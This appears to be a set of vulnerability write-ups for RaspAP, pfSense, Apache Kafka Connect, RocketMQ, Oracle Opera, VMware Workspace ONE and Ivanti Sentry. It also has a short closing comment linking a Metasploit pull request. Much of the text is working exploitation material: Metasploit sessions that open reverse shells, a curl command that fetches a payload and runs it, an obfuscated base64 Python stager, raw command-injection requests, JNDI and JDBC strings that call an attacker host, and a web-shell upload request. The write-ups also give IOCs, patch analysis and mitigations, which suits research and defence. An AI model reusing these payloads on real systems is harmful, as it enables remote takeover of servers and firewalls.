msf6 > use linux/http/ivanti_sentry_misc_log_service [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.78 rhosts => 192.168.1.78 msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 lhost => 192.168.1.72 msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 fetch_srvhost => 192.168.1.72 msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true verbose => true msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > exploit [*] Reloading module... [*] Command to run on remote host: curl -so /tmp/ccrjHXsc http://192.168.1.72:8080/etRbFA76UzDRclkL8zrTdg; chmod +x /tmp/ccrjHXsc; /tmp/ccrjHXsc & [*] Fetch Handler listening on 192.168.1.72:8080 [*] HTTP server started [*] Adding resource /etRbFA76UzDRclkL8zrTdg [*] Started reverse TCP handler on 192.168.1.72:4443 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Executing Unix (In-Memory) for cmd/linux/http/x64/meterpreter_reverse_tcp [*] Running the command: sudo curl -so /tmp/ccrjHXsc http://192.168.1.72:8080/etRbFA76UzDRclkL8zrTdg [*] Client 192.168.1.78 requested /etRbFA76UzDRclkL8zrTdg [*] Sending payload to 192.168.1.78 (curl/7.29.0) [*] Running the command: sudo chmod +x /tmp/ccrjHXsc [*] Running the command: sudo /tmp/ccrjHXsc & [*] Meterpreter session 6 opened (192.168.1.72:4443 -> 192.168.1.78:40550) at 2023-08-29 14:27:57 -0400 meterpreter > getuid Server username: root meterpreter > sysinfo Computer : localhost.localdomain OS : CentOS 7.8.2003 (Linux 3.10.0-1160.el7.x86_64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > exit
Technical Analysis
This is an unauthenticated command injection vulnerability in RaspAP, a wireless route software that runs on Debian-based devices. The vulnerable raspap-webgui application shouldn’t be configured to be internet facing which and is reflected in this assessment’s Attacker Value. Most endpoints on the application require a valid CSRF token to be accessed except for some, which include:
/ajax/openvpn/activate_ovpncfg.php
/ajax/openvpn/del_ovpncfg.php
These two endpoints accept a POST parameter cfg_id
which gets run directly in a php exec()
command without being sanitized. The vulnerable code can be seen below, or in full on the RaspAP raspap-webgui github
<?php require_once '../../includes/config.php'; require_once '../../includes/functions.php'; if (isset($_POST['cfg_id'])) { $ovpncfg_id = $_POST['cfg_id']; $ovpncfg_client = RASPI_OPENVPN_CLIENT_PATH.$ovpncfg_id.'_client.conf'; $ovpncfg_login = RASPI_OPENVPN_CLIENT_PATH.$ovpncfg_id.'_login.conf'; // remove existing client config +login and symbolically link the selected one system("sudo rm ".RASPI_OPENVPN_CLIENT_CONFIG, $return); system("sudo ln -s $ovpncfg_client ".RASPI_OPENVPN_CLIENT_CONFIG, $return);
This vulnerability can be exploited with a simple POST request in order to inject the following command: touch /tmp/pwned
POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1 Host: 172.16.199.130 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13.4; rv:109.0) Gecko/20100101 Firefox/114.0 Content-Type: application/x-www-form-urlencoded Content-Length: 642 cfg_id%3D%3Btouch%20%2Ftmp%2Fpwned%3B%23
Or if getting a shell is more your thing use the new Metasploit module to obtain a meterpreter session:
msf6 > use exploit/unix/http/raspap_rce [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(unix/http/raspap_rce) > set rhosts 172.16.199.130 rhosts => 172.16.199.130 msf6 exploit(unix/http/raspap_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(unix/http/raspap_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGMNmqZVdrCDiQUQEd28i0iajhqZpSLJaFf+7DVmcwwxv5s2bDzP6KSQcJzVA4t/W9LzvIjQ1jykcVOLJjIBep4BnbBwOnXsDKldsi6oUvhZfxbY0ixLomh/x7uH67mW3f7y5umeZJ9TkHKhEKZHnayEbITcbIQmvF2OZ0gfoBlTBrMCnrJ2Hi2gBPD1jyLZlJ3FwvlMDJZe3hEcRQH3QReBp9Yx0e8SWoc93YwFbcFSzC7vI6ZP/6mlJMwQzKJrPFhrUNPoAMdLyAdE3dU5qyEz+QyLZxl+G/gDVz18D\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) - [*] Sending stage (24772 bytes) to 172.16.199.130 [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.130:48494) at 2023-08-14 20:38:21 -0400 meterpreter > getuid Server username: www-data meterpreter > sysinfo Computer : debian OS : Linux 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27) Architecture : x64 Meterpreter : python/linux meterpreter >
IOCs
Since this is exploiting a parameter in a POST request, you won’t see the payload in the logs. It might be worth searching for suspicious processes spawned by the user running the RaspAP application. The user www-data
is running the RaspAP application in this case and after running the Metasploit module, due to the python payload selected by default, there is a suspicious/usr/bin/python3
command running in the context of the user www-data
.
Before
msfuser@debian:~$ ps aux | grep www-data www-data 866 0.0 0.1 5568 3804 ? Ss 20:00 0:00 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf www-data 879 0.0 1.0 201008 21552 ? Ss 20:00 0:00 /usr/bin/php-cgi www-data 925 0.0 0.3 201008 5976 ? S 20:00 0:00 /usr/bin/php-cgi www-data 928 0.0 0.3 201008 5976 ? S 20:00 0:00 /usr/bin/php-cgi www-data 929 0.0 0.3 201008 5976 ? S 20:00 0:00 /usr/bin/php-cgi www-data 930 0.0 0.3 201008 5976 ? S 20:00 0:00 /usr/bin/php-cgi msfuser 2786 0.0 0.1 6332 2012 pts/0 S+ 20:03 0:00 grep www-data
After
msfuser@debian:~$ ps aux | grep www-data www-data 866 0.0 0.1 5568 3804 ? Ss 20:00 0:00 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf www-data 879 0.0 1.0 201008 21552 ? Ss 20:00 0:00 /usr/bin/php-cgi www-data 925 0.0 0.3 201008 5976 ? S 20:00 0:00 /usr/bin/php-cgi www-data 928 0.0 0.6 201008 12404 ? S 20:00 0:00 /usr/bin/php-cgi www-data 929 0.0 0.5 201008 11468 ? S 20:00 0:00 /usr/bin/php-cgi www-data 930 0.0 0.3 201008 5976 ? S 20:00 0:00 /usr/bin/php-cgi www-data 2839 0.0 0.0 0 0 ? Z 20:07 0:00 [sh] <defunct> www-data 2846 1.3 1.5 43792 30976 ? Ss 20:07 0:00 /usr/bin/python3 - msfuser 2853 0.0 0.1 6332 2060 pts/0 S+ 20:08 0:00 grep www-data
Notes
The initial PoC write up mentioned in the references below indicates the command injection will result in execution in the context of the root user. This is incorrect and depends on how the RaspAP application has been deployed.
References
https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2
https://github.com/rapid7/metasploit-framework/pull/18263
Technical Analysis
On March 17th, 2023 it was announced that pfSense firewalls versions 2.6.0
and below were vulnerable to an authenticated remote code execution vulnerability resulting in code execution in the context of the root user.
Authenticated users, from the /diag_backup.php
endpoint, are able open and restore a backup pfSense configuration XML file:
The name of the configuration XML file is user configurable. In vulnerable versions the filename does not get sanitized properly before being used in an exec()
command in the restore_rrddata
function inside the file: /etc/inc/config.lib.inc
.
The vulnerable exec()
call can be seen below on line 288
which is an excerpt from the vulnerable version 2.6.0
source code.
The following escapeshellarg
patch has been applied:
exec("{$rrdtool} restore -f " . escapeshellarg($xml_file) . ' ' . escapeshellarg($rrd_file), $output, $status);
Attacker Value and Exploitation
As this requires authentication the attacker value isn’t super high although it could come in handy for a malicious actor as it provides root level access on pfSense – the ”World’s Most Trusted Open Source Firewall”. Exploitation is super straightforward once credentials are obtained.
Metasploit
Exploiting this vulnerability using metasploit is as easy as one-two-three (or “set rhosts”, “set lhost”, “run”)
msf6 > use unix/http/pfsense_config_data_exec [*] No payload configured, defaulting to cmd/unix/reverse_netcat msf6 exploit(unix/http/pfsense_config_data_exec) > set rhosts 172.16.199.190 rhosts => 172.16.199.190 msf6 exploit(unix/http/pfsense_config_data_exec) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(unix/http/pfsense_config_data_exec) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. The target appears to be running pfSense version 2.5.1-RELEASE, which is unpatched! [*] Command shell session 7 opened (172.16.199.1:4444 -> 172.16.199.191:55669) at 2023-07-12 14:48:15 -0400 id uid=0(root) gid=0(wheel) groups=0(wheel) uname -a FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE 1b709158e581(RELENG_2_5_0) pfSense amd64
Mitigation
Update pfSense
to version 2.7.0 or higher.
Technical Analysis
Description
This is an interesting JNDI vulnerability in Apache Kafka Connect. An unauthenticated attacker can archive RCE by hosting a payload on a malicious LDAP server and tricking the Kafka server into connecting to it and deserializing the LDAP response. This allows the attacker to execute java deserialization gadgets chains of the Kafka server.
The Kafka Connect REST API on vulnerable instances allow attackers to set the database.history.producer.sasl.jaas.config
connector property to "com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
. And “boom goes the dynamite” – with the right gadget chain you have RCE.
Attacker Rating and Exploitability.
Apache Kafka is middleware – it’s not an application that will be just sitting on the edge of a network like a Firewall or a VPN. Apache Kafka is used by other applications adding a layer of abstraction to the exploit process. Lots of applications use it and a list of application that use it can be found here. How those applications use Kafka could vary making the exploit process different in each product. Apache Druid however uses Kafka and affected versions are vulnerable out of the box!
Apache Druid
Apache Druid uses Apache Kafka Connect by default and there’s a metasploit module written to exploit this Kafka vulnerability on running inside Apache Druid. I tested this with the Metasploit module linked above and the provided docker container (image: vulhub/apache-druid:25.0.0
). I received a shell running in the context of the root
user.
Technical Analysis
Description
Multiple different components of RocketMQ including the NameServer, Broker, and Controller are by default leaked on the extranet of the network the system is operating within and are accessible without authentication. The vulnerability can be exploited by using the “update configuration” function to send arbitrary commands to the system which will be executed in the context of the user running the application.
Vulnerable Versions
Apache RocketMQ versions vulnerable to RCE (CVE-2023-33246):
- 5.1.0 – 5.0.0
- <= 4.9.5
Vulnerable Environment
A vulnerable environment can be spun up using the following docker commands. Both the NameServer and Broker containers are required:
docker pull apache/rocketmq:4.9.5 docker run --rm--name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
Is Windows Vulnerable?
The short answer: no. Many blogs commented on the Unix PoC and all said “Apache RocketMQ ” is vulnerable without ever mentioning which platform it had to be running on. So I assumed Windows would be vulnerable as well and went out to try and exploit it.
The only difference between the exploitation paths on Windows and Unix is here in FilterServerManager.buildStartCommand()
, where the command that is sent to Runtime.getRuntime().exec
gets built:
if (RemotingUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); }
- Windows entry point
Runtime.getRuntime().exec("start /b <PAYLOAD>")
- Unix entry point
Runtime.getRuntime().exec("sh <PAYLOAD>")
When attempting to exploit the vulnerability on windows, in C:\Users\msfuser\logs\rocketmq\logs\broker.log
I kept seeing the following error:
java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified
Even when attempting to run the happy path of updating the RocketMQ broker config, same error. That is because you can’t use the start
command directly in the Runtime.getRuntime().exec()
method in Java. The start
command is a Windows-specific command and is not recognized by the Java runtime.
This is a bug in the RocketMQ implementation. I would have raised an issue with them regarding this had they not ripped out the entire functionality due to the emergence of the vulnerability I’m writing about.
You can try this at home with the following test class:
public class MyClass { public static void main(String[] args) { try { String[] cmdArray = {"start", " /b", "C:\\Windows\\System32\\notepad.exe"}; Process process = Runtime.getRuntime().exec(cmdArray); } catch (Exception ex) { ex.printStackTrace(); } } }
Simply compile, execute and see the following error:
D:\rocketmq>javac MyClass.java D:\rocketmq>java MyClass java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified at java.lang.ProcessBuilder.start(Unknown Source) at java.lang.Runtime.exec(Unknown Source) at java.lang.Runtime.exec(Unknown Source) at MyClass.main(MyClass.java:9) Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified at java.lang.ProcessImpl.create(Native Method) at java.lang.ProcessImpl.<init>(Unknown Source) at java.lang.ProcessImpl.start(Unknown Source) ... 4 more
Exploitation Details
The patch diff tells a clear story, the FilterServerManager
& FilterServerUtil
classes were completely removed from the application. Analyzing the code removed we see a potential RCE entry point Runtime.getRuntime().exec(cmdArray)
, inside FilterServerUtil.callShell()
:
public class FilterServerUtil { public static void callShell(final String shellString, final InternalLogger log) { Process process = null; try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK", shellString); } catch (Throwable e) { log.error("CallShell: readLine IOException, {}", shellString, e); } finally { if (null != process) process.destroy(); } } private static String[] splitShellString(final String shellString) { return shellString.split(" "); } }
Working backwards from there we can see callShell
is called from: FilterServerManager.createFilterServer()
:
public void createFilterServer() { int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size(); String cmd = this.buildStartCommand(); for (int i = 0; i < more; i++) { FilterServerUtil.callShell(cmd, log); } }
The createFilterServer()
method will be called every 30 seconds according to the inside of the FilterServerManager.start()
public void start() { this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() { @Override public void run() { try { FilterServerManager.this.createFilterServer(); } catch (Exception e) { log.error("", e); } } }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS); }
The command that gets executed by Runtime.getRuntime().exec
is created by the following method FilterServerManager.buildStartCommand()
. We see from the last else
block if the system we’re exploit is not Windows, the command run will be sh %s ...
where %s
get substituted for getRocketmqHome()
which is an user controlled parameter when the user sends a request to update the broker configuration.
private String buildStartCommand() { String config = ""; if (BrokerStartup.configFile != null) { config = String.format("-c %s", BrokerStartup.configFile); } if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) { config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr()); } if (RemotingUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } }
Below is the request that can be sent to the Broker component of ApacheMQ to update the broker configuration or to obtain remote code execution. (note the payload inside of the rocketmqHome
parameter also the binary header required to exploit is not included in the payload below)
`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocketmqHome=-c $@|sh . echo <Unix payload of your choice :)>`
There is one more aspect of the vulnerability that should be noted, above in callShell
you’ll notice the following two lines:
String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray);
FilterServerUtil.splitShellString(final String shellString)
is defined as the following:
private static String[] splitShellString(final String shellString) { return shellString.split(" "); }
This means if the incoming command includes a space it will be split into an array and the first element of the array will be the command (ex: sh
) and the rest of the elements of the array will be the arguments to that command. Getting a long string of multiple commands which all contain spaces to execute, is an exercise in ShellFu:
-c $@|sh . echo <PAYLOAD CONTAINING SPACES>
The argument $@
represents all the parameters passed to the script or command and directly passes the value after echo to $@
as a whole which solves the issue introduced by shellString.split
Metasploit Exploitation
Below is an example of a vulnerable RocketMQ instance being targeted by the apache_rocketmq_update_config
metasploit module in order to establish a Meterpreter session in the context of the rocketmq
user.
msf6 > use multi/http/apache_rocketmq_update_config [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158 lhost => 172.16.199.158 msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158 FETCH_SRVHOST => 172.16.199.158 msf6 exploit(multi/http/apache_rocketmq_update_config) > run [*] Started reverse TCP handler on 172.16.199.158:4444 [*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable) [+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4 [*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911 [*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911 [+] 127.0.0.1:9876 - Payload length: 252, (must not exceed 255 characters) [*] Sending stage (3045348 bytes) to 172.17.0.3 [*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:37576) at 2023-06-27 14:49:18 -0700 meterpreter > getuid Server username: rocketmq meterpreter > sysinfo Computer : 172.17.0.3 OS : CentOS 7.9.2009 (Linux 5.15.0-75-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
AKB Rating Explanation
The Broker component by default listens on the extranet on port 10911
. This vulnerable endpoint shouldn’t be exposed to the internet by default and is why I decided to go with a lower attacker value. However, if an attacker is already in the network this vuln is easily exploitable and provides an excellent pivot point.
References
https://blogs.juniper.net/en-us/threat-research/cve-2023-33246-apache-rocketmq-remote-code-execution-vulnerability
https://blog.csdn.net/qq_41904294/article/details/130987233
Technical Analysis
Reasoning Behind Exploitability and Attacker Value
This is an unauthenticated remote code execution vulnerability – I’m not exactly sure why NVD gave this a 7.2: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L
, but it seems like an incorrect assessment. The vectors that confuse me in NVD’s assessment are:
- Attack Complexity (AC): High
- Privileges Required (PR): High
It seems to me these should be Low
and None
respectively as privileges are not required to obtain RCE and the attack is not complex. There is a point and shoot unauthenticated RCE PoC publicly available online. If I had to guess why NVD gave it such a low score (if it wasn’t a mistake) would be that in order to exploit you need to know the static keys Oracle Opera uses to encrypt strings. However the researchers at AssetNote published the encryption routine with the static keys used by the application in their PoC.
Oracle Opera is a heavily used application and in my opinion this vulnerability should be considered critical.
Vulnerability Details
This is an order of operations bug in Oracle Opera, a widely used hotel and property management software. The vulnerability stems from an unfortunate developer oversight in the FileReceiver
endpoint which accepts the parameters and is accessible without authentication:
String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename")); String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc")); String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append")); String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname"))); String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));
The above two parameters jndiname
and username
are both encrypted user controlled input. As you may notice the two parameters are sanitized BEFORE they are decrypted, rendering the sanitization useless. The attacker can then send any payload they wish via those two parameters without them being sanitized.
Following the code path of the FileReceiver
endpoint the application checks to see if the path is allowed via the following function (where schemaName
is the username
parameter accepted from the FileReceiver
endpoint):
public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) { boolean ret = false; try { if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) { String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase(); String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase(); if (adjustedFileName.startsWith(adjustedSourcePath)) { ret = true; } else { throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]"); } } else { throw new Exception("Either path, schema or filename is null"); } } catch (Exception e) { e.printStackTrace(); } return ret; }
With the line of interest being:
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
If schemaName
= "foo/../../../../../"
then adjustedSourcePath
will be equal to "D:\"
and the attacker will have the ability to an write arbitrary file to the D:\
directory (which is where the Oracle Opera application needs to be installed as per Oracle documentation).
Now the above explains how to write arbitrary files to the system but not how to obtain unauthenticated RCE. There’s still two main blockers:
- Knowing the JNDI name needed for exploitation.
- Knowing how to encrypt the
jndiname
andusername
in order for the application (FileReceiver
endpoint) to be able to decrypt them successfully.
Luckily for the attacker both of the above issues can easily be resolved.
The JNDI connection name can be found by visiting the following unauthenticated URLs:
https://example.com/Operajserv/OXIServlets/CRSStatus?info=true https://example.com/Operajserv/OXIServlets/BEInterface?info=true https://example.com/Operajserv/OXIServlets/ExportReceiver?info=true
As for the knowing of the encrypted parameters sent to FileReceiver
, Oracle Opera uses static keys to encrypt strings. The researchers at Assetnote were able to recreate their encryption routine and used it in order to encrypt the necessary parts (username
, jndiname
) of the payload.
The POST request below uses the arbitrary file upload to drop a CGI web shell onto the local file system that can be accessed remotely to execute commands in the context of the user running the Oracle Opera instance. Perl comes installed with Opera and will be available on the target system making Perl the default choice for a web shell in this scenario.
POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON©toexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1 Host: example.com User-Agent: curl/7.79.1 Accept: */* Content-Length: 588 Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dc Connection: close <place perl webshell here>
References
https://blog.assetnote.io/2023/04/30/rce-oracle-opera/
https://nvd.nist.gov/vuln/detail/CVE-2023-21932
Technical Analysis
This is an authenticated remote code execution vulnerability which gives access in the context of the horizon
user however authentication can easily be by-passed with CVE-2022-22956. The list of affected products and corresponding versions are:
Vulnerable Application | Vulnerable version |
---|---|
VMware Workspace ONE Access (Access) | 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0 |
VMware Identity Manager (vIDM) | 3.3.6, 3.3.5, 3.3.4, 3.3.3 |
VMware vRealize Automation (vRA) | 8.x, 7.6 |
VMware Cloud Foundation | 4.x |
Reason for Exploitability & Attacker Value rating.
As mentioned in my write up for CVE-2022-22956 this vulnerability was bundled up VMSA-2022-0011 along with 8 other CVEs. Out of all the CVEs in this advisory CVE-2022-22954 really stole the show as it was an unauth RCE. Not as many paid much mind to this CVE + CVE-2022-22956 (authentication by-pass) which when combined together with CVE-2022-22960 (LPE) gives attackers yet another exploitation path to unauthenticated RCE as root.
How it works
This vulnerability abuses the dbCheck
method inside the com.vmware.horizon.rest.controller.system.DBConnectionCheckController
class. The method accepts an attacker controlled parameter jdbcUrl
which gets passed through a string of method calls until it eventually reaches a DriverManager.getConnection
sink which will lead to an arbitrary JDBC URI connection.
Remote code execution can be achieved through the socketFactory
property of the PostgreSQL JDBC driver. An attacker can set the socketFactory
and socketFactoryArg
properties in order to trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Due to the fact VMware Workspace One uses Spring with a PostgreSQL database FileSystemXmlApplicationContext
can be used.
The attacker sends a POST
request to the following URI: /SAAS/API/1.0/REST/system/dbCheck
with the following data:
jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{attacker-ip-address}:#{attacker-port-hosting-malicious-file}/#{filename}
While hosting the following file:
<beans xmlns="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans)" xmlns:xsi="[http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance)" xsi:schemaLocation="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans) [http://www.springframework.org/schema/beans/spring-beans.xsd](http://www.springframework.org/schema/beans/spring-beans.xsd)"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>touch</value> <value>/tmp/rce</value> </list> </constructor-arg> </bean> </beans>
The above file will be downloaded by the victim and the command in side the constructor-arg
will be executed in the context of the horizon user.
References:
Technical Analysis
This vulnerability is an authentication bypass in VMware Workspace ONE and related products. The list of affected products and corresponding versions are:
Vulnerable Application | Vulnerable version |
---|---|
VMware Workspace ONE Access (Access) | 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0 |
VMware Identity Manager (vIDM) | 3.3.6, 3.3.5, 3.3.4, 3.3.3 |
VMware vRealize Automation (vRA) | 8.x, 7.6 |
VMware Cloud Foundation | 4.x |
Reasoning for Exploitability & Attacker Value ratings:
This vulnerability was bundled in VMSA-2022-0011 along with 8 other CVEs. Out of all the CVEs in this advisory CVE-2022-22954 really stole the show as it was an unauthenticated remote code execution vulnerability. Not as many paid much mind to this CVE + CVE-2022-22957 (authenticated RCE) which when combined together with CVE-2022-22960 (LPE) gives attackers yet another exploitation path to unauthenticated remote code execution in the context of the root user.
How it works:
The vulnerability lies in the fact that vulnerable VMware Workspace ONE Access versions shipped with two different default OAuth2 clients. By navigating to https://photon-machine/SAAS/admin/settings/manage/manageOAuthClients/
on a vulnerable instance under Remote App Access users can see two separate Client IDs which are enabled by default to receive User Access Tokens in the scope of “system, admin”:
CLIENT ID | SCOPE | ACCESS TYPE | STATUS |
---|---|---|---|
acs | system,admin | User Access Token | Enabled |
Service__OAuth2Client | system,admin | User Access Token | Enabled |
The auth by-pass works by abusing com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController
which has two exposed endpoints: /generateActivationToken/{id}
and /activate
. The first will generate an activation code for an existing oauth2 client (which we know two exist by default) and the second will activate the device oauth2 client by exchanging the activation code for a client ID and secret.
Then the attacker can exchange the client_id
and client_secret
for an OAuth2 token and viola, the attacker has completely by-passed VMware’s authentication mechanism.
Hey yyt0524, my apologies, the pull request for the module is still in review on github but can be found here:
https://github.com/rapid7/metasploit-framework/pull/19082